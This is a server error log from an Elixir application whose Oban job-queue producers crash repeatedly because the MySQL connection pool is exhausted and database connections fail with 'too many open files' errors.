[Sat Sep  5 22:36:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:35:58.242120Z], limit: 10, uuid: "ad7e6bd9-9405-4b66-8e57-e145524581ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.242125Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80535>, refresh_timer: #Reference<0.2525715032.1121189889.80522>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:35:58.241631Z], limit: 5, uuid: "a1cae62c-fc0a-4c0c-98b7-68e1c49d2751", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.241637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80539>, refresh_timer: #Reference<0.2525715032.1068236804.229207>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:35:58.241481Z], limit: 50, uuid: "efeb8b03-cd97-4cef-9543-dabb8dc19818", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.241486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80540>, refresh_timer: #Reference<0.2525715032.1068236804.229199>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:35:58.244130Z], limit: 20, uuid: "572de742-4386-4765-9268-7dfb042bc389", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.244135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80537>, refresh_timer: #Reference<0.2525715032.1077411843.202895>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:10.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:12.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:13.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:18.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:20.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:21.041000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:36:10.240089Z], limit: 5, uuid: "b57cb241-cb19-49a3-a263-994cf784e679", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.240094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203056>, refresh_timer: #Reference<0.2525715032.1077411843.203039>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:36:10.240196Z], limit: 50, uuid: "2ba484ee-1048-4878-9a6f-f84fe9cf39d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.240204Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.235392>, refresh_timer: #Reference<0.2525715032.1099169794.235379>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:36:10.239861Z], limit: 5, uuid: "a966c731-be22-44ad-b421-dfac8b6fb822", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.239867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.235391>, refresh_timer: #Reference<0.2525715032.1077411843.203031>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:36:10.241127Z], limit: 20, uuid: "e28b0e0b-0f05-4c83-9802-0720cd63a86a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.241132Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.235393>, refresh_timer: #Reference<0.2525715032.1068236804.229300>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
